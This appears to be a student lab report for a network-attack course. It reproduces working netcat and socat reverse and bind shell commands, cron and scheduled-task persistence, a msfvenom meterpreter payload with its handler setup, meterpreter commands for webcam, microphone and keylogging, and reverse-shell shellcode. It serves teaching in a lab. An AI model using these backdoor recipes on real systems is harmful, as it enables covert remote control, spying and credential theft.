zoukankan      html  css  js  c++  java
  • 2019-2020-2 20175302闫君廷《网络对抗技术》 Exp2 后门原理与实践

    一、实验目标

      1. 熟悉后门的概念
      2. 使用netcat实现win,linux之间的后门连接
      3. 掌握meterpreter的应用
      4. 了解MSF POST 模块的应用
      5. 学会win,linux的后门启动方式

    二、预备知识

    后门概念

    • 所谓后门,就是不经过正常认证流程而访问系统的通道。
    • 后门宿主:
    • 编译器留后门
    • 操作系统留后门
    • 应用程序中留后门
    • 潜伏于操作系统中或伪装为特定应用的专用后门程序。

    后门工具

    • netcat:又名nc或ncat,是一个底层工具,进行基本的TCP UDP数据收发。常被与其他工具结合使用,起到后门的作用。

    • soCat:Netcat++,超级netcat工具。
      任何代理、转发等功能都可以用该工具实现。

    • Meterpreter:msfvenom生成的后门可执行文件。
      Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个Meterpreter shell的链接。
      Meterpreter shell作为渗透模块有很多有用的功能,比如添加一个用户、隐藏一些东西、打开shell、得到用户密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等信息。

    三、实验内容

      1. 使用netcat获取主机操作Shell,cron启动
      2. 使用socat获取主机操作Shell,任务计划启动
      3. 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell。
      4. 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权。
      5. 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
      

    四、实验步骤

    0. ncat学习

    Windows获取Linux Shell

    主机中win+R运行cmdipconfig查看IP地址为192.168.0.106

    ncat.exe -l -p 5302主机运行ncat.exe开始监听端口5302

    nc 192.168.0.106 5302 -e /bin/shKali中使用ncat -e选项执行Shell

    Windows成功获取Kali的Shell

    Linux获取Windows Shell

    Kali中ifconfig查看IP地址为192.168.0.108

    nc -l -p 5302Kali开始监听5302端口
    ncat.exe -e cmd.exe 192.168.0.108 5302Widows开始连接Kali运行cmd.exe

    Kali成功获取Windows CMD

    nc 传输数据

    Wiodowsncat.exe -l 5302Wiodows监听5302端口
    Kalinc 192.168.0.106 5302连接端口
    建立连接后可以互相发送信息。

    nc 传输文件

    Windowsncat.exe -l 5302 > receive监听5302端口并把数据保存到receive文件中。
    Kalinc 192.168.0.106 5302 < send 连接到Windows 5302端口,发送send文件
    将文件从Windows传给kali首先要将kali虚拟机的ssh服务端口打开,之后就只需使kali监听5302端口,Windows连接kali的5302端口,建立成功后,kali可以收到Windows发来的文件

    1. 使用netcat获取主机操作Shell,cron启动

    cron是linux下用来周期性的执行某种任务或等待处理某些事件的一个守护进程,与windows下的计划任务类似
    Windows下监听端口5302
    Linux下crontab -e+3进入编辑模式

    crontab命令是cron table的简写,它是cron的配置文件,也可以叫它作业列表我们可以在以下文件夹内找到相关配置文件。
    /var/spool/cron/ 目录下存放的是每个用户包括root的crontab任务,每个任务以创建者的名字命名
    /etc/crontab 这个文件负责调度各种管理和维护任务。
    /etc/cron.d/ 这个目录用来存放任何要执行的crontab文件或脚本。
    我们还可以把脚本放在/etc/cron.hourly、/etc/cron.daily、/etc/cron.weekly、/etc/cron.monthly目录中,让它每小时/天/星期、月执行一次。

    在最后一行添加04 * * * * /bin/netcat 192.168.0.106 5302 -e /bin/sh,因为现在时间为9:59分,所以我设置了04,表示每小时的第4分钟执行指令。

    可以在10:04分时看到Wiodows中获得了Linux的Shell

    2. 使用socat获取主机操作Shell,任务计划启动

    下载socat
    打开计算机管理,在任务计划程序创建任务,填写任务名称。
    新建操作,程序或脚本选择socat.exe,添加参数填写tcp-listen:5302 exec:cmd.exe,pty,stderr,把cmd.exe绑定到端口5302,同时把cmd.exe的stderr重定向到stdout上

    新建触发器,设定时间为现在时间后的几分钟。
    socat - tcp:192.168.0.106:5302在Kali中连接到主机5302端口。

    时间到达设定时间后socat.exe自启动,获取Shell成功

    3. 使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell。

    在Kali中运行msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.108 LPORT=5302 -f exe > 5302exp2_backdoor.exe生成后门程序5302exp2_backdoor.exe

    Wiodowsncat.exe -lv 5302 > 5302exp2_backdoor.exe可以看到版本信息与当前连接状态
    Kalinc 192.168.0.106 5302 < 5302exp2_backdoor.exe发送后门程序到Windows。

    Windows显示连接信息。
    1.Kali中msfconsole进入msf控制台

    2.use exploit/multi/handler使用监听模块,设置payload

    3.set payload windows/meterpreter/reverse_tcp,使用和生成后门程序时相同的payload

    4.set LHOST 192.168.0.108生成后门程序时指定的IP

    5.set LPORT 5302生成后门程序时指定的端口

    6.show options查看设置信息

    exploit开始监听,在Windows中启动接收的后门程序,监听成功。
    可以直接输入命令或者使用shell获取主机Shell

    4. 使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权。

    record_mic -d 5指令可以截获一段时长5s的音频,录制完毕自动输出保存路径

    webcam_snap指令可以使用摄像头进行拍照,拍摄完毕自动输出保存路径,并自动打开图像

    keyscan_start指令可以记录下击键的过程,keyscan_dump则用于读取击键记录

    screenshot指令可以进行截屏

    getuid指令可以查看当前用户,getsystem指令进行提权操作

    5. 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

    下载反弹连接的Shellcode
    因为我kali使用的是上次实验一结束后的快照进行本次实验,所以无需再进行环境配置。
    xxd input_shellcode查看实验一中写入的地址。
    将反弹连接Shellcode放入perl -e 'print "A" x 32;print"xc0xd2xffxffx31xc0x31xdbx31xc9x31xd2x66xb8x67x01xb3x02xb1x01xcdx80x89xc3xb8x80xffxffxfex83xf0xffx50x66x68x11x5cx66x6ax02x89xe1xb2x10x31xc0x66xb8x6ax01xcdx80x85xc0x75x24x31xc9xb1x02x31xc0xb0x3fxcdx80x49x79xf9x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc9x31xd2xb0x0bxcdx80xb3x01x31xc0xb0x01xcdx80"' > input

    重新配置msf监听
    use exploit/multi/handler,用于设置payload
    set payload linux/x86/shell_reverse_tcp
    set LHOST 127.0.0.1,设置IP为回环地址
    set LPORT 4444,根据代码设置端口
    exploit ,设置完成开始监听
    (cat input;cat) | ./pwn1再另一个终端将input输入
    这时在msf控制台可以看到已经成功调取了shell

    五、基础问题回答

    1.例举你能想到的一个后门进入到你系统中的可能方式?

    • 下载了带有后门的文件。

    2.例举你知道的后门如何启动起来(win及linux)的方式?

    • 绑定一个程序,程序启动同时启动了某项服务。

    3.Meterpreter有哪些给你映像深刻的功能?

    • 全部都很深刻,特别是把我拍得很丑的摄像头功能功能,监听键盘键入很容易就可以获取密码,搭配上截屏就能知道是什么网的,用户名是什么,很容易泄露隐私和重要数据。

    4.如何发现自己有系统有没有被安装后门?

    • 及时更新病毒库
    • 查看端口开放情况,关闭多余端口
    • 查看服务,注册表等状态。

    六、实验总结与体会

    本次实验基本根据视频完成,然后也切实认识到了后门的厉害。但是有些地方可能还没有完全理解,比如回环地址和4444端口的监听并不明白是为什么,提权操作应该是失败的,也不知道为什么。

  • 相关阅读:
    6:python2、python3 的区别及小数据池
    web前端----html表单操作
    web前端----html基础
    mysql数据库----索引原理与慢查询优化
    MySQL数据库----流程控制
    MySQL数据库----IDE工具介绍及数据备份
    MySQL数据库----数据锁
    MySQL数据库----事务处理
    MySQL数据库----事务
    MySQL数据库----函数
  • 原文地址:https://www.cnblogs.com/Jerrold-Y/p/12485349.html
Copyright © 2011-2022 走看看